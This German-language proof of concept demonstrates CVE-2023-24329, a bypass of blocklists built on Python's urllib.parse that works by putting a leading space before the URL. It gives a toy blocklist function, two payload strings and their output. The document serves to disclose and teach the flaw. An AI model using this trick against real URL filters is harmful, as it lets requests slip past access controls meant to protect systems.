
Proof-of-concept, der einen URL-Parsing-Bypass in Pythons `urllib.parse` (CVE-2023-24329) demonstriert, der das Umgehen von Blocklisten durch Voranstellen von Leerzeichen ermöglicht.
Die URL-Parsing-Funktionen konzentrieren sich darauf, eine URL-Zeichenfolge in ihre Komponenten zu zerlegen oder URL-Komponenten zu einer URL-Zeichenfolge zusammenzusetzen.
Einfach urllib.parse wird zum Parsen von URLs verwendet, wir können es umgehen, indem wir Leerzeichen vor der URL hinzufügen. Dies passiert in Python 3.11.4 und früher.
Lassen Sie uns example.py aufschlüsseln
Hier ist eine Reihe von Websites, auf die Sie nicht zugreifen sollten:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
Diese Funktion prüft, ob eine Website auf der Blockliste steht oder nicht. Wenn sie auf der Blockliste steht, sollte sie URL Blocked zurückgeben.
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
Jetzt habe ich zwei URLs hinzugefügt und prüfe, ob eine von ihnen blockiert ist und nicht aufgerufen werden kann:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 ist der Fall, in dem ich is_url_blocked() umgangen habe, denn das Hinzufügen eines langen Leerzeichens vor der URL umgeht urllib.parse.urlparse(url).geturl() – es wird nicht wie erwartet ausgeführt.
Deshalb ist die Ausgabe
Bypassed
Aber bei payload2 erhalten wir
URL Blocked
Wenn Sie mich mit einer Spende unterstützen möchten, empfehle ich Ihnen, sie bitte jemandem zu geben, der sie wirklich braucht. Wenn Sie das tun, betrachten Sie es als meine Unterstützung, die Sie verdient haben.